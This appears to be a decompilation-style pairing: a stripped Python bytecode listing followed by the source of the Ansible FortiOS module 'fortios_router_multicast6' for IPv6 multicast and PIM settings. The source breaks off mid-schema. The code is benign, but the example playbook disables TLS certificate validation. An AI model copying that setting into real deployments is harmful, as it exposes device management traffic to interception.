LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'string' LOAD_CONST True LOAD_CONST ('revisions', 'type', 'required') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'integer' LOAD_CONST ('revisions', 'type') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'integer' LOAD_CONST ('revisions', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('name', 'hello_interval', 'hello_holdtime') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('type', 'elements', 'children', 'revisions') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'integer' LOAD_CONST ('revisions', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'list' LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'integer' LOAD_CONST True LOAD_CONST ('revisions', 'type', 'required') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'string' LOAD_CONST ('revisions', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'ip6_address') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('type', 'elements', 'children', 'revisions') BUILD_CONST_KEY_MAP LOAD_CONST ('register_rate_limit', 'rp_address') BUILD_CONST_KEY_MAP LOAD_CONST ('revisions', 'type', 'children') BUILD_CONST_KEY_MAP LOAD_CONST ('multicast_routing', 'multicast_pmtu', 'interface', 'pim_sm_global') BUILD_CONST_KEY_MAP LOAD_CONST ('revisions', 'type', 'children') BUILD_CONST_KEY_MAP STORE_NAME versioned_schema LOAD_CONST <code object main at 0x7f8aef8811e0, file "f.py", line 823> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'interface' LOAD_CONST 'multicast_pmtu' LOAD_CONST 'multicast_routing' LOAD_CONST 'pim_sm_global' BUILD_LIST STORE_FAST option_list LOAD_GLOBAL remove_invalid_fields LOAD_FAST json CALL_FUNCTION STORE_FAST json BUILD_MAP STORE_FAST dictionary SETUP_LOOP to 70 LOAD_FAST option_list GET_ITER FOR_ITER to 68 STORE_FAST attribute LOAD_FAST attribute LOAD_FAST json COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST json LOAD_FAST attribute BINARY_SUBSCR LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST json LOAD_FAST attribute BINARY_SUBSCR LOAD_FAST dictionary LOAD_FAST attribute STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST dictionary RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_LOOP to 106 LOAD_GLOBAL enumerate LOAD_FAST data CALL_FUNCTION GET_ITER FOR_ITER to 42 UNPACK_SEQUENCE STORE_FAST i STORE_FAST elem LOAD_GLOBAL underscore_to_hyphen LOAD_FAST elem CALL_FUNCTION LOAD_FAST data LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 106 LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE BUILD_MAP STORE_FAST new_data SETUP_LOOP to 102 LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 100 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_GLOBAL underscore_to_hyphen LOAD_FAST v CALL_FUNCTION LOAD_FAST new_data LOAD_FAST k LOAD_METHOD replace LOAD_CONST '_' LOAD_CONST '-' CALL_METHOD STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST new_data STORE_FAST data LOAD_FAST data RETURN_VALUE LOAD_FAST data LOAD_CONST 'vdom' BINARY_SUBSCR STORE_FAST vdom LOAD_FAST data LOAD_CONST 'router_multicast6' BINARY_SUBSCR STORE_FAST router_multicast6_data LOAD_GLOBAL underscore_to_hyphen LOAD_GLOBAL filter_router_multicast6_data LOAD_FAST router_multicast6_data CALL_FUNCTION CALL_FUNCTION STORE_FAST filtered_data LOAD_FAST fos LOAD_ATTR set LOAD_CONST 'router' LOAD_CONST 'multicast6' LOAD_FAST filtered_data LOAD_FAST vdom LOAD_CONST ('data', 'vdom') CALL_FUNCTION RETURN_VALUE LOAD_CONST 'status' LOAD_FAST resp COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST resp LOAD_CONST 'status' BINARY_SUBSCR LOAD_CONST 'success' COMPARE_OP == JUMP_IF_TRUE_OR_POP LOAD_CONST 'http_status' LOAD_FAST resp COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST resp LOAD_CONST 'http_status' BINARY_SUBSCR LOAD_CONST 200 COMPARE_OP == JUMP_IF_TRUE_OR_POP LOAD_CONST 'http_method' LOAD_FAST resp COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_FAST resp LOAD_CONST 'http_method' BINARY_SUBSCR LOAD_CONST 'DELETE' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_FAST resp LOAD_CONST 'http_status' BINARY_SUBSCR LOAD_CONST 404 COMPARE_OP == RETURN_VALUE LOAD_FAST fos LOAD_METHOD do_member_operation LOAD_CONST 'router' LOAD_CONST 'multicast6' CALL_METHOD POP_TOP LOAD_FAST data LOAD_CONST 'router_multicast6' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL router_multicast6 LOAD_FAST data LOAD_FAST fos CALL_FUNCTION STORE_FAST resp JUMP_FORWARD to 50 LOAD_FAST fos LOAD_ATTR _module LOAD_ATTR fail_json LOAD_CONST 'missing task body: %s' LOAD_CONST 'router_multicast6' BINARY_MODULO LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_GLOBAL is_successful_status LOAD_FAST resp CALL_FUNCTION UNARY_NOT LOAD_GLOBAL is_successful_status LOAD_FAST resp CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_CONST 'revision_changed' LOAD_FAST resp COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST resp LOAD_CONST 'revision_changed' BINARY_SUBSCR JUMP_FORWARD to 84 LOAD_CONST True LOAD_FAST resp BUILD_MAP BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL schema_to_module_spec LOAD_GLOBAL versioned_schema CALL_FUNCTION STORE_FAST module_spec LOAD_CONST None STORE_FAST mkeyname LOAD_CONST False LOAD_CONST 'str' LOAD_CONST True LOAD_CONST ('required', 'type', 'no_log') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST ('required', 'type', 'default') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'str' LOAD_CONST 'root' LOAD_CONST ('required', 'type', 'default') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST 'present' LOAD_CONST 'absent' BUILD_LIST LOAD_CONST ('type', 'required', 'choices') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'dict' LOAD_CONST None BUILD_MAP LOAD_CONST ('required', 'type', 'default', 'options') BUILD_CONST_KEY_MAP LOAD_CONST ('access_token', 'enable_log', 'vdom', 'member_path', 'member_state', 'router_multicast6') BUILD_CONST_KEY_MAP STORE_FAST fields SETUP_LOOP to 156 LOAD_FAST module_spec LOAD_CONST 'options' BINARY_SUBSCR GET_ITER FOR_ITER to 154 STORE_FAST attribute_name LOAD_FAST module_spec LOAD_CONST 'options' BINARY_SUBSCR LOAD_FAST attribute_name BINARY_SUBSCR LOAD_FAST fields LOAD_CONST 'router_multicast6' BINARY_SUBSCR LOAD_CONST 'options' BINARY_SUBSCR LOAD_FAST attribute_name STORE_SUBSCR LOAD_FAST mkeyname POP_JUMP_IF_FALSE LOAD_FAST mkeyname LOAD_FAST attribute_name COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST fields LOAD_CONST 'router_multicast6' BINARY_SUBSCR LOAD_CONST 'options' BINARY_SUBSCR LOAD_FAST attribute_name BINARY_SUBSCR LOAD_CONST 'required' STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL AnsibleModule LOAD_FAST fields LOAD_CONST False LOAD_CONST ('argument_spec', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_GLOBAL check_legacy_fortiosapi LOAD_FAST module CALL_FUNCTION POP_TOP LOAD_CONST False STORE_FAST is_error LOAD_CONST False STORE_FAST has_changed LOAD_CONST None STORE_FAST result LOAD_CONST None STORE_FAST diff LOAD_CONST None STORE_FAST versions_check_result LOAD_FAST module LOAD_ATTR _socket_path EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Connection LOAD_FAST module LOAD_ATTR _socket_path CALL_FUNCTION STORE_FAST connection LOAD_CONST 'access_token' LOAD_FAST module LOAD_ATTR params COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'access_token' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'access_token' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_CONST 'enable_log' LOAD_FAST module LOAD_ATTR params COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'enable_log' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enable_log' BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_FORWARD to 286 LOAD_FAST connection LOAD_METHOD set_option LOAD_CONST 'enable_log' LOAD_CONST False CALL_METHOD POP_TOP LOAD_GLOBAL FortiOSHandler LOAD_FAST connection LOAD_FAST module LOAD_FAST mkeyname CALL_FUNCTION STORE_FAST fos LOAD_GLOBAL check_schema_versioning LOAD_FAST fos LOAD_GLOBAL versioned_schema LOAD_CONST 'router_multicast6' CALL_FUNCTION STORE_FAST versions_check_result LOAD_GLOBAL fortios_router LOAD_FAST module LOAD_ATTR params LOAD_FAST fos CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST is_error STORE_FAST has_changed STORE_FAST result STORE_FAST diff JUMP_FORWARD to 344 LOAD_FAST module LOAD_ATTR fail_json BUILD_TUPLE LOAD_GLOBAL FAIL_SOCKET_MSG CALL_FUNCTION POP_TOP LOAD_FAST versions_check_result EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST versions_check_result LOAD_CONST 'matched' BINARY_SUBSCR LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_METHOD warn LOAD_CONST 'Ansible has detected version mismatch between FortOS system and your playbook, see more details by specifying option -vvv' CALL_METHOD POP_TOP LOAD_FAST is_error EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST versions_check_result EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST versions_check_result LOAD_CONST 'matched' BINARY_SUBSCR LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST has_changed LOAD_FAST versions_check_result LOAD_FAST result LOAD_FAST diff LOAD_CONST ('changed', 'version_check_warning', 'meta', 'diff') CALL_FUNCTION POP_TOP JUMP_FORWARD to 436 LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST has_changed LOAD_FAST result LOAD_FAST diff LOAD_CONST ('changed', 'meta', 'diff') CALL_FUNCTION POP_TOP JUMP_FORWARD to 490 LOAD_FAST versions_check_result EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST versions_check_result LOAD_CONST 'matched' BINARY_SUBSCR LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Error in repo' LOAD_FAST versions_check_result LOAD_FAST result LOAD_CONST ('msg', 'version_check_warning', 'meta') CALL_FUNCTION POP_TOP JUMP_FORWARD to 490 LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Error in repo' LOAD_FAST result LOAD_CONST ('msg', 'meta') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "status": ["preview"], "supported_by": "community", "metadata_version": "1.1", } DOCUMENTATION = """ --- module: fortios_router_multicast6 short_description: Configure IPv6 multicast in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify router feature and multicast6 category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.0 version_added: "2.0.0" author: - Link Zheng (@chillancezen) - Jie Xue (@JieX19) - Hongbin Lu (@fgtdev-hblu) - Frank Shen (@frankshen01) - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks requirements: - ansible>=2.14 options: access_token: description: - Token-based authentication. Generated from GUI of Fortigate. type: str required: false enable_log: description: - Enable/Disable logging for task. type: bool required: false default: false vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root member_path: type: str description: - Member attribute path to operate on. - Delimited by a slash character if there are more than one attribute. - Parameter marked with member_path is legitimate for doing member operation. member_state: type: str description: - Add or delete a member under specified attribute path. - When member_state is specified, the state option is ignored. choices: - 'present' - 'absent' router_multicast6: description: - Configure IPv6 multicast. default: null type: dict suboptions: interface: description: - Protocol Independent Multicast (PIM) interfaces. type: list elements: dict suboptions: hello_holdtime: description: - Time before old neighbor information expires in seconds (1 - 65535). type: int hello_interval: description: - Interval between sending PIM hello messages in seconds (1 - 65535). type: int name: description: - Interface name. Source system.interface.name. required: true type: str multicast_pmtu: description: - Enable/disable PMTU for IPv6 multicast. type: str choices: - 'enable' - 'disable' multicast_routing: description: - Enable/disable IPv6 multicast routing. type: str choices: - 'enable' - 'disable' pim_sm_global: description: - PIM sparse-mode global settings. type: dict suboptions: register_rate_limit: description: - Limit of packets/sec per source registered through this RP (0 means unlimited). type: int rp_address: description: - Statically configured RP addresses. type: list elements: dict suboptions: id: description: - ID of the entry. see <a href='#notes'>Notes</a>. required: true type: int ip6_address: description: - RP router IPv6 address. type: str """ EXAMPLES = """ - hosts: fortigates collections: - fortinet.fortios connection: httpapi vars: vdom: "root" ansible_httpapi_use_ssl: yes ansible_httpapi_validate_certs: no ansible_httpapi_port: 443 tasks: - name: Configure IPv6 multicast. fortios_router_multicast6: vdom: "{{ vdom }}" router_multicast6: interface: - hello_holdtime: "" hello_interval: "30" name: "default_name_6 (source system.interface.name)" multicast_pmtu: "enable" multicast_routing: "enable" pim_sm_global: register_rate_limit: "0" rp_address: - id: "12" ip6_address: "<your_own_value>" """ RETURN = """ build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" """ from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import ( FortiOSHandler, ) from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import ( check_legacy_fortiosapi, ) from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import ( schema_to_module_spec, ) from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import ( check_schema_versioning, ) from ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common import ( FAIL_SOCKET_MSG, ) from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.data_post_processor import ( remove_invalid_fields, ) def filter_router_multicast6_data(json): option_list = ["interface", "multicast_pmtu", "multicast_routing", "pim_sm_global"] json = remove_invalid_fields(json) dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for i, elem in enumerate(data): data[i] = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace("_", "-")] = underscore_to_hyphen(v) data = new_data return data def router_multicast6(data, fos): vdom = data["vdom"] router_multicast6_data = data["router_multicast6"] filtered_data = underscore_to_hyphen( filter_router_multicast6_data(router_multicast6_data) ) return fos.set("router", "multicast6", data=filtered_data, vdom=vdom) def is_successful_status(resp): return ( "status" in resp and resp["status"] == "success" or "http_status" in resp and resp["http_status"] == 200 or "http_method" in resp and resp["http_method"] == "DELETE" and resp["http_status"] == 404 ) def fortios_router(data, fos): fos.do_member_operation("router", "multicast6") if data["router_multicast6"]: resp = router_multicast6(data, fos) else: fos._module.fail_json(msg="missing task body: %s" % ("router_multicast6")) return ( not is_successful_status(resp), is_successful_status(resp) and (resp["revision_changed"] if "revision_changed" in resp else True), resp, {}, ) versioned_schema = { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "dict", "children": { "multicast_routing": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "string", "options": [ { "value": "enable", "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, { "value": "disable", "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, ], }, "multicast_pmtu": { "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, "type": "string", "options": [ { "value": "enable", "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": True, "v6.2.5": True, "v6.2.3": True, "v6.2.0": True, "v6.0.5": True, "v6.0.11": True, "v6.0.0": True, }, }, { "value": "disable", "revisions": { "v7.4.1": True, "v7.4.0": True, "v7.2.4": True, "v7.2.2": True, "v7.2.1": True, "v7.2.0": True, "v7.0.8": True, "v7.0.7": True, "v7.0.6": True, "v7.0.5": True, "v7.0.4": True, "v7.0.3": True, "v7.0.2": True, "v7.0.12": True, "v7.0.1": True, "v7.0.0": True, "v6.4.4": True, "v6.4.1": True, "v6.4.0": True, "v6.2.7": 